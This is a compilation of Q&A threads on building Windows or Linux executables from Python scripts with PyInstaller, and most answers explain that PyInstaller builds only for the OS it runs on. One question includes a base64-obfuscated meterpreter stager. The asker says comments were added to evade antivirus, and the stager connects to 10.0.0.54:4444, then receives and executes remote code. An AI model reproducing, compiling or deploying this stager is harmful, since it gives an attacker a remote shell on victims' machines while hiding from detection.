How can I convert .py to .exe on Linux? - python

I'm trying to convert my python file to a .exe file.
The issue is, I'm using linux, and I can't use pyinstaller or cx_freeze to make .exe files from
.py.
Is there any way to do it?
I'm using Python 3.7.3 on Debian Linux.

TLDR: You can't.
You should be able to use PyInstaller to create executable files as it is compatible with Linux systems:
https://pyinstaller.readthedocs.io/en/stable/requirements.html#gnu-linux
pip install pyinstaller
cd /path/to/your/program
pyinstaller --onefile yourscript.py
However, at least for pyinstaller, there is no way to bundle an executable file for Windows on a Linux system that I know of:
The output of PyInstaller is specific to the active operating system and the active
version of Python. This means that to prepare a distribution for:
a different OS
a different version of Python
a 32-bit or 64-bit OS
you run PyInstaller on that OS, under that version of Python. The Python interpreter
that executes PyInstaller is part of the bundle, and it is specific to the OS and the
word size.
Source: https://pyinstaller.readthedocs.io/en/stable/operating-mode.html

Related

Pyinstaller Is it possible to generate binary file to run on CentOs under Windows?

I am developing Python script with Selenium under Windows10.
To automation test the web, is it possible to generate a binary file to run on CentOs under Windows10 by Pyinstaller?
Or I MUST be under the same OS which I would like to run?
And I want to check, is it correct that a file generated by Pyinstaller(or any other tool?) could run on the environment without any python-installation?
It is possible that pyinstaller makes a binary in Linux:
"PyInstaller freezes (packages) Python applications into stand-alone executables, under Windows, GNU/Linux, Mac OS X, FreeBSD, Solaris and AIX."
http://www.pyinstaller.org/
However, when you try to make a package that works on CentOS, you had better make it on that CentOS.

Can the .exe run on Mac, Linux, or other platforms?

I created a .exe out of .py by using the PyInstaller on Windows. Can this .exe run on Mac, Linux, or other platforms?
Nope. Executable formats for Windows are completely different from those used on other OSes. You might be able to run them in Linux under WINE, but they're not natively compatible with any other OS.
Checkout the answers here for linux and windows https://superuser.com/questions/216629/can-i-run-a-windows-exe-file-on-linux
As for mac, no .exe will not work.
In general, pyinstaller would have to be run on each os to make an executable specifically for that os.

Is there a way to turn my python script (that I wrote in an Ubuntu docker image) into an executable for Windows?

Made a python script in Ubuntu, but I read that pyinstaller compiles based on the operating system, so if I compile it on Ubuntu, it'll be for Ubuntu. How can I make an executable in Ubuntu, for Windows, or do I have to export my script into my Windows OS and compile it there?
From PyInstaller’s documentation:
If you need to distribute your application for more than one OS, for example both Windows and Mac OS X, you must install PyInstaller on each platform and bundle your app separately on each.
So, yes, you generally must run PyInstaller on the operating system the emitted binary will be run on. The documentation does suggest using a virtual machine and that running PyInstaller with WINE may work.

Compiling Python to .EXE instead of .ELF on Linux

I am compiling a Python code on Kali Linux. I want to produce an .exe file to run on Windows. These are the following settings for PyInstaller:
pyinstaller -F /root/Desktop/Evil_private.py -i Evil_Private.exe
and the code is just meterpreter with some comments to avoid Anti-virus detection. The following code is:
import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]
('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQ0KI0kgYW0gbm90IGEgc2NyaXB0IGtpZGRpZQ0KZm9yIHggaW4gcmFuZ2UoMTApOg0KCXRyeToNCgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQ0KCQlzLmNvbm5lY3QoKCcxMC4wLjAuNTQnLDQ0NDQpKQ0KCQlicmVhaw0KCWV4Y2VwdDoNCgkJdGltZS5zbGVlcCg1KQ0KbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQ0KZD1zLnJlY3YobCkNCiNOaWNlIEFOVEktViBicm8sIFdIT0FBQUENCndoaWxlIGxlbihkKTxsOg0KCWQrPXMucmVjdihsLWxlbihkKSkNCmV4ZWMoZCx7J3MnOnN9KQ0K')))
When I compile it, I receive a .ELF file instead of .EXE. Maybe I could have the directory wrong? I do not think this is so, as I have checked most directories associated with PyInstaller. I have read the guide to PyInstaller, but it seems to be of no use. Is there any solution to compile Python code on Linux to get a .exe file for Windows?
From the documentation:
The output of PyInstaller is specific to the active operating system and the active version of Python. This means that to prepare a distribution for:
a different OS
a different version of Python
a 32-bit or 64-bit OS
you run PyInstaller on that OS, under that version of Python. The Python interpreter that executes PyInstaller is part of the bundle, and it is specific to the OS and the word size.
You cannot generate a .exe under Kali running its Python.
Ignacio's answer is correct. The Linux version of pyinstaller will not build Windows PEs.
A [convoluted] workaround is install wine, then install python on wine (and pyinstaller on wine).
Then run wine's pyinstaller to build the exe.

creating stand-alone executable for windows from python code

I have a python code which uses the pygkt, gtk, ctypes, os and some other modules. I used pyinstaller to create a stand-alone executive of the code. It worked fine on ubuntu. Now I wanted to create another stand-alone executive for windows platform.
I used the tool https://github.com/paulfurley/python-windows-packager for it and followed the steps. But I got the error: module gtk not found.
How to fix the issue ?
Are there any other tools to convert python code to stand-alone executable for windows os ? If yes, please provide the details ?
Thank you
I'd recommend using pyinstaller
Example:
$ pip install pyinstaller
$ pyinstaller -F myscript.py
You should now have a build/myscript/myscript.exe executable.
If in Windows, Best way to do it is via Cygwin.
Ensure you have Python 3.5+ version not 3.6
pip install pyinstaller
Go to the directory where the .py file is which needs to be packaged.
Then run
$ pyinstaller --onefile test.py
Simple to have a single file executable.

Categories